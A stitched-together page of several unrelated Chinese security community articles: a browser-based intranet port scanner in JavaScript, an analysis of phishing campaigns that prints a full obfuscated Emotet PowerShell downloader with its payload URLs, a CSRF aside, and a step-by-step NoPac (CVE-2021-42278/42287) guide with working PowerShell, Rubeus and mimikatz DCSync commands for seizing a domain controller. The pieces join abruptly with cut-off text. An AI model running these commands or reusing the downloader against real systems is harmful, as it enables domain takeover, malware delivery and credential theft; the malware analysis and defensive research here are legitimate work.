犯罪分子对加密货币的兴趣并未减弱。例如sextortion诈骗，在2019年第一季度，一个sextortion骗局试图伪装成中情局，称收件人被卷入一个分发儿童色情视频的案件，并在案件卷宗中找到了收件人的详细信息（这些信息是真实的，往往是从社交网络、在线聊天、论坛、数据泄露中收集得来）。该案件属于全球27个国家逮捕2000多名恋童嫌疑人的国际行动的一部分，但该中情局员工碰巧知道收件人是一个有钱人，很爱惜自己的声誉，因此只要支付价值10000美元的比特币，就可以帮忙从案件中删除收件人。
### 4.9 针对企业的钓鱼攻击
一个案例是，Runet的企业部门遭到钓鱼邮件攻击，该邮件伪装成合作伙伴的商业信函，没有正文内容，但附件中的文档包含Trojan.MSOffice.Alien.gen，进而下载和运行Trojan-Banker.Win32.Trickster.gen。
### 4.9 针对银行的攻击
银行成为钓鱼攻击最有利可图的目标。攻击者通过将发件人地址伪装成类似于合法地址、复制官方邮件布局和设计合适的理由等方式，尽可能增强其钓鱼邮件的可信度。在第一季度，钓鱼攻击者也利用一些热点事件来增强其可信度。例如在一封伪装成新西兰银行的钓鱼邮件中，攻击者插入了一句哀悼Christchurch
恐袭事件的话。 | 社区文章 |
原文：<https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning>
## 0x00 概述
在本文中我将介绍如何使用JavaScript构造端口扫描器，如果大家感兴趣，可以直接从[此处](http://portswigger-labs.net/portscan)下载这款工具。
## 0x01 基于Chrome浏览器的实现
关于从Internet（互联网）区域到Intranet（内部网）区域进行端口扫描方面的内容，网上已经有一些研究文章。[Jeremiah
Grossman](https://blog.jeremiahgrossman.com/2006/11/browser-port-scanning-without.html)在之前介绍过如何在不依赖JavaScript的前提下，使用`link`元素和时序方法进行端口扫描，而Berend Jan
Wever（[Skylined](https://twitter.com/berendjanwever)）写了一个lan扫描器，也使用了时序攻击（timing
attacks）以及[WebRTC和XHR](https://twitter.com/berendjanwever/status/735864169258450944?lang=en)原理。
这两种技术都用到了时序攻击，因此不是100%可靠。 这里我已经提出了一种更为可靠的技术，但主要面向的是网络服务器扫描场景。
在测试在受限环境中使用浏览器来呈现用户提供的内容的Web应用程序时，我一直在寻找能够提取特定IP上运行的服务信息的方法。之所以选择Chrome，是因为这个Web应用程序使用的正是这个浏览器。当某个端口没有被用户主机占用时，Chrome会拒绝连接，此时我注意到了一些有趣的行为。
Chrome会向用户显示一条消息，但这正是最为有趣的一点，Chrome会将实际的URL更改为`chrome-error://chromewebdata/`。
当我们使用`iframe`向服务器上不存在的某个端口发送请求时，即使该端口没有监听任何内容，我们也会得到成功的`onload`事件。如果的确有服务器在该端口监听，浏览器也会有一个成功的`onload`事件，Chrome可能的确会这样做，以防止用户探测哪些端口处于打开状态。
我们可以利用这种行为，我想出了一种方法，可以使用`iframe` `onload`事件来确定端口是否打开。
如果我们首次加载url，捕获到`onload`事件，然后增加计数器值，再次发出相同的请求，但这次请求源中加了`#`（因为网址已更改为`chrome-error:`，而不是原始url），此时我们将获得第二次`onload`事件，因为网址已更改。
如果某个Web服务器正在目标地址上监听，我们只会得到一个`onload`事件，这是因为第二个url中包含一个哈希值，而当一个哈希发送到已加载的某个页面时，浏览器不会重新加载页面。
为了构造端口扫描程序，我首先创建了一个`iframe`元素和`anchor`元素。`anchor`元素用来执行对`#url`的点击行为。然后，我们需要将`iframe`的名称及`anchor`目标设置为相同的值，以便在点击操作会在`iframe`上而非顶层文档上执行：
iframe.name = a.target = 'probe'+Date.now();
然后我们需要设置`iframe`的url值以及`anchor`的`href`属性值设置为同一个目标：
iframe.src = url + ":" + pos;
a.href = iframe.src + '#';
`iframe`需要关联`onload`事件，有效端口只会触发一次`onload`事件，因此我们需要使用计时器，碰到无效端口时继续下次测试：
iframe.onload = function(){
calls++;
if(calls > 1) {
clearTimeout(timer);
next();
return;
}
a.click();
};
timer = setTimeout(function(){
validPorts.push(pos);
next();
}, 5000);
以上就是主要思路，我们可以使用这种方法来扫描任意主机（包括本地IP）上的Web服务器。
请注意 ：在最新版的Chrome上使用`X-Frame-Options: DENY`选项时会修改url，所以该工具会将这种情况判断为端口关闭。
## 0x02 基于Firefox浏览器的实现
我研究了如何在Firefox上使用这种技术，事实证明此时这种技术运用起来更加容易。如果是有效的Web服务器，那么Firefox会触发`onload`事件，并且不会因为拒绝连接而触发该事件，因此我们无需自动点击链接就可以轻松找到目标。我们只需查看`onload`事件是否被触发，或者检测是否超时即可（此时没有触发该事件）。Firefox还可以让我们创建大量`iframe`，并且不会造成性能上的损失。
这次我并没有使用单个`iframe`（如Chrome浏览器的应用场景），而是使用了`iframe`池。Firefox允许我们使用大量的`iframe`，这里我选择的数量为1000。
var id = 'iframe'+(pos%1000),
iframe = document.getElementById(id) ? document.getElementById(id) : document.createElement('iframe'), timer;
然后只需要使用`onload`事件就可以简单判断目标是否为有效的Web服务器：
iframe.onload = function(){
validPorts.push(pos);
clearTimeout(timer);
next();
};
Firefox场景比其他场景要更加快速，也更为强大，因为此时我们甚至可以扫描无效的响应场景。这样我们就能检测其他服务，比如Redis服务器等。
## 0x03 基于Edge浏览器的实现
Edge浏览器版的扫描器与Chrome版本相反，如果目标端口有效，那么url就会跳转到错误页面，触发`onload`事件；但如果目标端口无效，那么只有哈希值会发生改变，不会触发`onload`事件。
iframe.onload = function(){
calls++;
if(calls > 1) {
validPorts.push(currentPos);
return;
}
var a = document.createElement('a');
a.href = 'ms-appx-web://microsoft.microsoftedge/assets/errorpages/dnserror.html#123';
a.target = iframe.name;
a.click();
a = null;
if(calls === 1) {
next();
}
};
我已经将以上技术整合到一个工具中，这款工具使用我最喜欢的异步JavaScript语言进行开发，大家可以访问[此处](http://portswigger-labs.net/portscan)下载该工具。 | 社区文章 |
# 各类灰黑产钓鱼邮件概括分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
在样本的逆向分析中，我们接触到的大多数是直接拿到的恶意样本，有的是PE文件；有的是包含恶意宏代码的office文档；有的是带有漏洞利用的office文档；有的是APK文件；有的是HTA文件；有的只是一个简单的LNK文件……
在分析这些恶意样本的同时，我们也知道这些样本不是凭空出现在这里，出现在受害者的计算机上的。样本从哪来来，它要到哪里去，它通过什么方式去。这些都是很有意思的问题，在本文中，笔者对恶意软件投递的主要分支-钓鱼邮件进行了一个简单的分析，希望大家能喜欢~
首先，个人认为钓鱼攻击和鱼叉攻击是不同的，和钓鱼的定义一样，钓鱼攻击往往没有明确的目标，或是没有精确的目标，只要有鱼儿上钩，攻击者就成功了，这种攻击往往出现在黑灰产攻击中。而鱼叉攻击往往出现在APT中，鱼叉攻击的诱饵很有可能是攻击者针对特定目标，结合其兴趣爱好或是工作岗位精心构造的，目的在于精准打击。但由于很多资料将这两种混为一谈，为了方便描述，在下文中均称为钓鱼攻击。
由于钓鱼攻击成本远远小于漏洞攻击，钓鱼攻击早已被各大家族所青睐，从黑产到APT，从东亚到北欧均有着钓鱼攻击的身影。
## 账号盗用类钓鱼邮件
### 对微软账号的钓鱼攻击
通常情况下，钓鱼邮件指的就是账号钓鱼。攻击者通过构建一个假的登录页面，然后通过邮件正文描述或是其他方式，诱导用户点击进入钓鱼页面，输入对应平台的账号密码。此类邮件在钓鱼邮件中占了非常大一部分，用途也十分广泛，小到可以盗取游戏账号密码，大到可以盗取银行账户密码（这个几率倒是很小）。
某邮件属于针对西班牙信托机构相关用户的钓鱼邮件，邮件主题为西班牙语：Accion escáner xero
邮件主要是伪造西班牙的信托机构Accion以诱导用户打开附件的pdf文件。
为了防止邮件被直接报毒或是pdf被单独分析，攻击者给pdf文档设置了密码：BACKOFFICE
PDF文档中只有一张超链接图片：
访问该超链接可得到一个仿造微软的钓鱼页面：
### 针对特定用户的鱼叉攻击
除开上面那种广撒网的钓鱼方式，还有一些高级的钓鱼邮件是针对特定用户的。这个用户可能是某个网站管理员、也有可能是某个公司职员。但是通常来讲，被针对的用户一定是非常有价值的，此类邮件相对来说要少一些，但一旦成功，危害往往也更大。
此邮件是针对云端运算的科技公司思杰高级产品总监Derek Thorslund的鱼叉攻击。邮件原始内容如下：
攻击者冒充了快递公司LBC Express指定发送钓鱼邮件给Derek Thorslund，当受害者单击邮件中的Read
Fax之后，则会通过浏览器打开以下页面，要求用户登录Derek Thorslund的账号密码。
hxxps://citrix.mikewhiteclientsite.com/3539384?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=&&mic#94285?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=
而该页面实际上被一个满屏的iframe给填充了：
填充的地址才是真实的钓鱼页面：hxxps://bqyndorheo.trafficmanager.net/common/pass.php?ijbgtrf=ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb206OjU=
(Web这一块太久没有搞了，如果有说错的地方还望各位大佬见谅~)
而此次钓鱼攻击的对象则是Citrix公司的高级产品总监Derek Thorslund
## 样本投递类钓鱼邮件
### 银行木马家族Emotet的高度活跃
目前Emotet应该是最为活跃的银行木马家族，每天的新增样本非常大，且有很多很多个版本。
anyrun上Emotet标签相关样本已有1377页：
而在bazaar上已有超过六万个Emotet相关样本：
笔者这里就以只描述其中一例，让我们管中窥豹看看Emotet强大的运营。
此邮件还是针对西班牙地区的用户。攻击者仿冒西班牙邮政规划局<https://www.mitma.es/>
下发了一个包含恶意文档的钓鱼邮件，邮件内容主要是告诉用户基本信息和文档的解压密码：
这种带密码的附件在邮件检测系统中，往往有着比较不错的免杀效果：
解压出来的文件是带有VBA宏代码的doc文档，攻击者伪装成office365官方诱导用户启用宏：
VBA代码有一定程度的混淆，主要功能为通过powershell执行一段编码后的base64字符串
执行指令如下：
由于宏代码调试窗口有显示长度限制，这里可以写入到文件查看：
解码后的powershell指令如下:
$U6351=[TYpE]("{2}{0}{1}{4}{3}{5}" -F 'ySTEm.i','O.di','s','EcTO','R','RY') ;$OLV = [tYpe]("{0}{7}{1}{8}{3}{6}{5}{2}{4}" -F'sY','TEm.NE','ntmAN','v','AGeR','I','iCePO','s','T.seR') ; $ErrorActionPreference = ('Si'+('le'+'n')+'t'+('ly'+'C')+('onti'+'n'+'ue'));$Ytd_ppb=$H4_L + [char](64) + $Q01Q;$E15N=(('O'+'1_')+'V'); ( geT-VaRiable u6351 -VaLUEoNLy )::"cRE`ATedIr`eC`Tory"($HOME + (('{0}N'+('sgh'+'o')+'ht{0}'+'G'+'b'+('h5r'+'9o')+'{0}') -f [cHaR]92));$N95W=(('S'+'28')+'S'); ( Ls vArIABle:olV).VAlUE::"SECUr`ITY`PrOTO`coL" = ('Tl'+('s1'+'2'));$K_2L=('B6'+'7O');$Bexo28t = ('Q2'+'7V');$M69N=(('U'+'72')+'A');$Zc7n7y_=$HOME+(('{'+'0'+'}'+('N'+'sg')+'hoht{0}'+'G'+('b'+'h5r')+'9o{0}') -F[CHAR]92)+$Bexo28t+('.d'+'ll');$N_1W=(('M'+'34')+'Y');$Ile_vaa=(']'+('b2'+'['+'s://w'+'heel')+'co'+'mo'+'vi'+('n'+'g.co'+'m/p')+'/R'+'u'+'M'+('eRP'+'a')+'/@'+(']'+'b2[s:/')+('/'+'00')+'z'+('y'+'ku')+'.'+'co'+('m/w'+'p'+'-admin/'+'e')+('Yu1'+'Q/')+'@]'+'b'+('2['+'s://k')+('e'+'tore')+('se'+'tm')+('e'+'.com')+'/w'+'p'+('-'+'cont')+('e'+'nt/pmJ')+'/'+('@'+']b')+'2'+('['+'ss:/'+'/')+('ryco'+'m')+'p'+('ut'+'e')+'r.'+('com/c'+'on')+('ten'+'t/T')+('L/@]'+'b'+'2[s'+'s')+(':'+'//')+'d-'+('c'+'em'+'.com')+'/'+'wp'+('-a'+'d')+('m'+'in')+'/'+('J'+'SLwG1')+('/@]b2[s'+':'+'/')+'/'+('thebes'+'t')+'f'+('ikra'+'h.'+'co')+'m'+('/wp-'+'adm'+'i'+'n/')+('f'+'OIl'+'VX/@')+(']b2'+'[')+('ss:/'+'/')+('ph'+'aw')+('aya'+'ge')+'n'+('cy'+'.com/')+'w'+'p'+('-'+'ad')+'mi'+'n'+('/'+'mXo')+'4b'+'/')."rep`L`ACE"(((']b'+'2[')+'s'),([array]('sd','sw'),('h'+('tt'+'p')),'3d')[1])."s`pLIT"($E__V + $Ytd_ppb + $C54Y);$J37V=(('G5'+'2')+'C');foreach ($Yfpdvur in $Ile_vaa){try{(.('New-'+'Ob'+'ject') SYstem.nEt.webcLiEnT)."DoW`N`l`oadfIle"($Yfpdvur, $Zc7n7y_);$W02H=('C'+('59'+'X'));If ((.('Get-I'+'tem') $Zc7n7y_)."LEnG`TH" -ge 38413) {.('r'+'un'+'dll32') $Zc7n7y_,('Co'+('nt'+'ro')+('l_R'+'u'+'nDL')+'L')."tost`R`ING"();$U78W=('M0'+'1N');break;$F24T=('K'+('3'+'8L'))}}catch{}}$A31I=('V'+('8'+'8J'))
该段powershell的主要功能是循环请求预定义的地址，尝试下载dll到本地加载执行：
预定义的下载地址如下：
hxxp://wheelcomoving.com/p/RuMeRPa/
hxxp://00zyku.com/wp-admin/eYu1Q/
hxxp://ketoresetme.com/wp-content/pmJ/
hxxps://rycomputer.com/content/TL/
hxxps://d-cem.com/wp-admin/JSLwG1/
hxxp://thebestfikrah.com/wp-admin/fOIlVX/
hxxps://phawayagency.com/wp-admin/mXo4b/
可以看到大多数下载地址都是wp站点，这里有可能是攻击者自己搭建的wp站点，也有可能是攻击者盗用了别人的wp站点。
下载回来的dll由vc编译，保留了pdb信息：B:\Great_Colo47417192002\Release\demo.pdb
目前VT只有六家杀软对其进行查杀
经过分析，该PDB对应的样本均为Emotet银行木马家族的恶意文件，这里放出部分md5
e4063b9ff606acb932194ee6d3b1bb3f
2a36019df952d92a4c2773bba876aac5
ce02380fd888e7b33d8bb8d055cebe7f
54634ce3868099ab0bc403288bc0173e
419c2447da95691b15ea22d2d082fbef
c88c6af81fdff2d06c43ffbffd324249
984f3c3923529ea92da74271c975e173
50c75097512030a9f7b870a951a0dc30
92a0b2ca0d9641407b6c2f553d2a8d41
843509cdcec6fa2bac88fa573d71d892
47956a141849310c4903224a67d37888
ef2835d16e6c62dc3d8d989f78133388
0c43b4bb2c19ffeccaf90c4126f89819
809c5016a1ff3d36b9e1b8321687f466
fc66175a5e51e4e0c3b68d40e063e981
9cd678b75a8b4ba1cb7df94b6f1d6eba
4dc86990cce88968576e525e5196e661
607e15a699083629640b943a96435f66
c5cc669313381a2411b00185d33e7342
f4a59d9111d0fa4925dca33c15285beb
该版本的Emotet拥有一个用于解密的导出函数：
解码的数据是名为7765的资源：
### 钓鱼邮件下发商业远控
随着网络安全的发展，安全从业者在进步的同时，攻击者也在不断的更新攻击方式，各类远控木马接踵而至。对于普通的黑灰产来讲，通过钓鱼邮件直接下发远控木马是效率最高的，毕竟广撒网，总有安全意识薄弱的人会中招。
目前通过钓鱼邮件下发的木马主要有AgentTesla、SnakeKeyLogger、NonaCore、QuasarRAT、njRAT、Guloader、RemcosRAT以及更多笔者没看到的样本。
这里也只大概举例，不会对每类样本进行详细分析。
其中一封钓鱼邮件是攻击者以付款通知为诱饵对葡萄牙地区用户发起的钓鱼攻击：
两个附件解压出来均为C#编写的Nanobot后门。
### 钓鱼邮件下发漏洞文档
直接投递exe，效率是有了，但是成功率较低，且pe作为附件在没有加密压缩的情况下大多数时候还是会被检测到。
这个时候，对exe文件进行加密压缩然后将解压密码写在邮件正文中是一个不错的解决方案。投递带漏洞的office加载exe是另一个不错的解决方案。这里以一个11882漏洞利用的样本为例：
邮件冒充了Platech的销售总监下发账单，诱导受害者下载并打开附件xlsx文件
经过简单分析可知附件的xls文档并非VBA宏代码，而是11882的漏洞利用文档，于是直接在Eqendt32.exe的00411658漏洞触发点处设置断点：
断点设置成功后，打开恶意文档触发断点：
漏洞触发后，会跳转到shellcode执行：
解密出URLDownloadToFile并尝试从hxxp://216.170.114.70/regasm/vbc.exe 下载vbc.exe到本地加载执行
尝试下载文件保存到C:\Users\Public\Public\vbc.exe并通过ShellExecute执行：
下载回来的vbc.exe依旧是C#编写的远控木马，疑似为AgentTesla，通过邮件的方式将本地收集到的信息上传到攻击者的邮件服务器：smtp.osmosissasia.com
### 利用正规远程控制工具
除了使用商业木马和定制木马，使用正规的远程控制工具完成对受害者的远控也不少。
此邮件是攻击者仿冒了俄罗斯的货物运输公司Dellin对俄罗斯用户发起的钓鱼攻击。
为了取得受害者信任，攻击者构建了大篇幅的虚假信息和一个带密码保护的附件文档，诱导用户解压并运行附件文件：
附件中的样本解压后可以看到伪装为了pdf文档，文档名译为电子要求.exe
经过简单分析，该文件属于sfx自解压文档，内含一个msi安装包和一个Install.exe
两个EXE均为Remotet
Utilities远程控制工具，installer.exe用于隐蔽安装host_news_mod_mod.msi文件，host_news_mod_mod安装界面如下：
经过简单分析，和之前黑产利用tv远控受害者类似，此次攻击中，攻击者也是通过正规的远程控制工具进行攻击。
### Macro4.0宏文档投递
之所以将Macro4.0宏单独拿出来写，是因为这种宏代码执行的方式跟我们熟知的VBA不一样。先介绍一下Macro4.0
微软从1992年开始在office中引用了名为Excel4.0的宏代码技术，也被成为XLM宏。和如今常见的VBA宏不同的是，Excel4.0宏代码写在表格中，宏代码的具体文件呈现为xml而不是二进制文件。1993年，微软更新了Excel5.0技术，也就是现在常见的VBA宏代码。
顺便说一下，关于VBA和VBS的关系。个人理解VBA和VBS语法相同，主要是依赖环境不同。VBS依赖于wscript.exe执行，而VBA代码依赖于office组件执行。
根据微软的数据来看，从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到，虽然目前Microsoft
Excel仍然支持Excel4.0宏，但还是建议用户使用VBA宏。
### Macro4.0常见应用
Excel4.0的创建非常简单，只需要在某个工作表上右键，选择插入：
在弹出来的对话框中选择MS Excel4.0：
Excel则会自动创建一个名为Macro1的新工作表，中文系统下为<宏1>，在创建的新工作表中，可以执行宏指令。
选中第一行宏代码，右键选择执行：
宏代码运行之后，则会弹出cmd和弹框显示Macro4.0 Test
从Excel4.0的设计初衷来看，该类宏可以很方便的协助Excel进行各类的数据计算和汇总。
2018年10月份，来自Outflank的安全研究员曝光了此类技术在恶意软件中的大肆使用，并且指出使用XLM宏比常见的VBA宏具有更好的免杀性。
原因主要是：
XLM宏和VBA宏的设计理念不同，导致了宏代码在文件结构中的呈现不同。
和VBA宏一样的是，在文件打开时，Excel依旧会提醒用户
Because of your security settings, macros have been disabled. To run macros,
you need to reopen this workbook, and then choose to enable macros. For more
information about enabling macros, click Help.
让用户决定是否要启用宏。
不同的是，当用户单击启用之后，ALT + F11打开宏代码窗口，却并不能看到宏代码。也不能通过一些常见的宏代码提取工具检测分析宏。
这是因为默认情况下，XLM宏代码存储在xl\Macrosheets\文件夹下的Sheet1.xml中。打开该xml文件，可以清晰的看到刚才在Excel工作表中插入的宏代码。
### 保护方式
对于VBA代码来讲，最常见的保护方式为混淆和密码保护。
但两者均有弊端。
对于混淆来讲，由于VBA代码能做的东西始终有限，所以大部分的VBA的主要功能都是一个loader/downloader。大多数的VBA会通过复杂的流程和解码、最后调用powershell指令下载并执行后续的payload。或者在本地释放一个脚本并通过com组件加载执行。
对于密码保护来讲，熟悉office文件格式的分析者可以很快绕过密码保护，且现在有很多工具可以直接删除掉密码。
对于XLM宏来讲，最常见的保护方式为隐藏。
最基础的隐藏方式是直接在带有宏的工作表上右键，选择隐藏：
这种方式不太靠谱，也被称作为浅隐藏，用户只需要在任意表格上右键，选择取消隐藏即可找到隐藏的Macro工作表。
以钓鱼邮件中的一例实际样本为例，原始样本模仿了一份中学成绩单，并且显示只有一个sheet表格。
在Sheet1上右键，选择取消隐藏，会弹出对话框显示一个名为(m1) _(m2)_ (m3)的工作表
取消隐藏后的工作表如下，这里可以看到，左上角第一个单元格是G1，而不是A1，所以可以知道，有列单元格被隐藏，隐藏在列单元格上右键，取消隐藏即可显示前面的单元格。
取消隐藏之后，在A列和C列中，即显示了恶意的宏代码，宏代码没什么特别的，在此文中不作详细分析。
可以看到，这样的隐藏方式还是很容易就能够被分析人员所找到，代码的保护性做的不是很好。接下来看看通过hex数据修改来实现工作表隐藏的样本。
还是以一个实际的样本为例，样本内嵌了Excel4.0宏，但是在工作表上鼠标右键却显示没有隐藏的工作表。
针对此类样本，可以在使用010之类的hex数据编辑工具，搜索85 00
筛选一下，然后往后数九个字节，这里的值应该是00 01 02中的其中一项。
其中00 表示不隐藏，01表示浅隐藏（可通过鼠标右键取消隐藏） 02表示深度隐藏（无法在Excel中找到）
这里是02，所以可以手动将其修改为00 或者01，即可在excel中找到对应的工作表。
首先修改为01验证一下，修改为01之后打开文档，即可通过鼠标右键取消隐藏带宏的工作表。
修改为00之后，打开xls文档即可看到该工作表：
具体宏代码如下：
这样操作背后的原理支持其实是修改BOUNDSHEET这个结构。
若对该结构感兴趣可下载XLM的结构解析继续研究：
<https://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf>
接下来再看一个实际样本，是另外一种简单的隐藏方式。
攻击者以账单为诱饵，投递了一个xlsm文件：
xlsm文件中有一个名为Rectangle3 的文本框，文本框内容为View your invoice，单击该文本框会触发宏代码：
确保了该文档没有隐藏的工作表之后，我们可以直接在当前工作表搜索等于符号”=”，在I2681的地方可以看到相关代码：
这里很明显是将文件设置为了和背景一样的白色，可以全选文档，然后更改所有文字的颜色，然后再缩小文档，就可以看到藏有代码的单元格：
这里的宏代码运行后会尝试从hxxp://expenses.zaytechsolutions.com/we18w1i.gif
下载一个由VC编译的dll文件到本地加载执行：
经过简单分析，该dll疑似为网银木马家族Dridex的样本，且该dll包含了一个pdb路径：
c:\DependSlow\ProvideBrought\ArriveHad\Swim.pdb
根据该PDB，又可以找到四个关联样本：
139af2873a7e9e1751ada1862bde70ea
08c40826bf7cd3963b4f133c74216241
d371f6568e6cc494fbf8bee063fe8c09
831c361b1f54a876c98fb6bf3cd5d688
将关联的样本下载回来分析，基本可以确定是Dridex家族样本。
## 小结
就本文而言，例举了小部分的的钓鱼样本，只是抛砖引玉，从样本分析的角度对目前常见的灰黑产相关的钓鱼邮件进行了一个简单的分析。关于邮件伪造、钓鱼域名等内容并未展开叙述。
钓鱼邮件一直是撕开企业安全口子的一个常见方式，随着邮件检测系统的日渐普及，攻击者用了加密码这种很简单的方式就可以绕过大多数的检测系统。相信在之后的钓鱼攻击中，带密码的附件将会越来越多，作为防守方，我们则需要从攻击者编造的正文小作文中提取出有效的密码进行有效防御。但无论是邮件检测，还是本地杀软，防守都是比较被动的，攻击者可以通过很多方式来绕过检测，再加上邮件正文的甜言蜜语，没有安全意识的用户中招是再正常不过的事情，笔者认为，光靠检测系统，是不可能防御掉所有的钓鱼邮件的，现有的检测系统大多数只能查过去的样本，只能在攻击者后面追着跑，真正防御的方式，还是培养大家拥有一个良好的安全意识。（虽然这个更难） | 社区文章 |
测试CSRF中，目前已知
<iframe src="javascript:'<script
src=目标></script>'">发送的请求可以不带referral和origin。。但有点鸡肋
以上类似的方法，用fetch post可以让origin为null但就是消不掉啊。。
还有就是fetch的no-cors模式，但这个控制不了content-type啊。。。 | 社区文章 |
# CVE-2021-42278 + CVE-2021-42287（NoPac）利用指南
author:Su1Xu3@深蓝攻防实验室
CVE-2021-42278 + CVE-2021-42287
## 原理
CVE-2021-42278，机器用户应当是computer$的形式，但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。
CVE-2021-42287，使用computer的TGT通过另一个用户去请求computer自己的ST时，将TGT发送给KDC后，当KDC找不到computer。KDC会再次寻找computer$的ST，从而获得了computer$的ST。从而获得了computer$的权限。
## 利用条件
### 检查域控是否易受攻击
此处通过一键利用工具获取TGT，返回大小只有527字节，得知可以请求没有pac的TGT。所以域控可以被攻击。
我们可以再用rubeus手动请求一个正常的TGT看看，下图是正常大小的TGT，1713个字符。
### 检查MAQ的利用权限
# 需要Powerview
# 查看域内MAQ的使用权限
import-module .\PowerView.ps1
(Get-DomainPolicy -Policy DC).PrivilegeRights | select SeMachineAccountPrivilege | %{$_ | Add-Member -NotePropertyName 'PrincipalName' -NotePropertyValue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.length-1));$_ | Format-List}
如图所示，域内任意用户都可以使用MAQ增加机器进域。
### 检查MAQ的默认值
# 需要安装Active Directory PowerShell模块 或者 远程服务器管理工具（RAST）
# 查询域内MAQ(ms-DS-MachineAccountQuota属性)的情况
import-module ActiveDirectory
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
Get-AdDomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota'
如图所示，域内默认每个用户可以让10台机器进域。
查看用户导入了几个机器。
## 利用方法一 手动：
# exploit.local是域名，WIN-HHPV37PB123是DC的机器名称，demo5是新建的机器名，1qaz@WSX是新建的机器用户的密码。
# 使用Powershell创建机器用户
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose
# 使用Powershell清除机器用户的SPN
Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose
# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose
# 查看机器用户名是否修改成功
Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"
# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap
# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose
# 使用请求的TGT通过S4U2self获取ST 注意，impersonateuser必须要存在才有效，如果域内administrator被禁用，换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]
# 可选命令，查看获取的ST
klist
# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"
# 可选命令，清除所有的ST
klist purge
利用Powermad手动添加机器账户
清除新建的机器用户自带SPN（如果不清除，修改`sam name`的时候会尝试修改域控的SPN，导致失败）
修改新建的机器用户的`sam name`为域控的名称
可选命令，查看`sam name`是否修改成功
使用新建的机器用户从易受攻击的域控获取TGT
将新建机器用户的`sam name`修改回原本的名称
使用刚刚获取的TGT去请求域控ldap服务的ST
可选命令，查看刚刚获取的ST是否有误
使用mimikatz导出krbtgt用户的hash
可选命令，清除ST
## 利用方法二 工具：
# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"
# 使用一键化工具获得域控cifs的权限
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt
# 使用一键化工具获得域控ldap服务的权限，同样此处的impersonate和手动利用方式一致，需要该用户可用
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator
# 使用dcsync导出域内所有密码
mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"
检查是否存在漏洞
获得cifs权限的ST并测试ST可用
获取ldap权限的ST并导出所有域内hash
## 利用方法三 无MAQ时利用的探讨：
当没有MAQ权限的时候，使用用户账户也可完成该攻击。前提是能修改用户账户的sAMAccountName属性，同时具有这个用户的密码以获得TGT。如果被利用的用户注册了SPN，还需要将该用户的SPN删除，否则重命名操作无效。其余步骤与利用方法一一致。
### 需要的权限
所需要的最小权限是对SAM-ACCOUNT-Name属性的WriteProperty权限
较为常见的常见覆盖了SAM-Account-Name的WriteProperty权限
常见包含WriteProperty最大的GenericALL权限
### 利用方法
# 需要powerview.ps1
# 查看lowpriv用户对test用户具有什么权限
import-module .\PowerView.ps1
Get-DomainObjectAcl test -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (Get-DomainUser lowpriv).objectsid}
# 修改test用户的sam name属性为域控
Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='WIN-HHPV37PB123'} -Verbose
# 使用Rubeus用用户账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap
# 还原test用户的sam name属性
Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='test'} -Verbose
# 使用请求的TGT通过S4U2self获取ldap服务的ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]
# 使用Mimikatz进行Dcsync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
查看lowpriv用户对test用户的ACL权限
修改test用户的`sam name`为域控的`sam name`
查询test用户的`sam name`是否被修改
利用刚刚获取的TGT换取域控cifs服务的ST并测试是否有效 | 社区文章 |
Kaggle上最新举办的第二届微软恶意软件预测挑战赛。
# 0x01 比赛简介
## 比赛目的
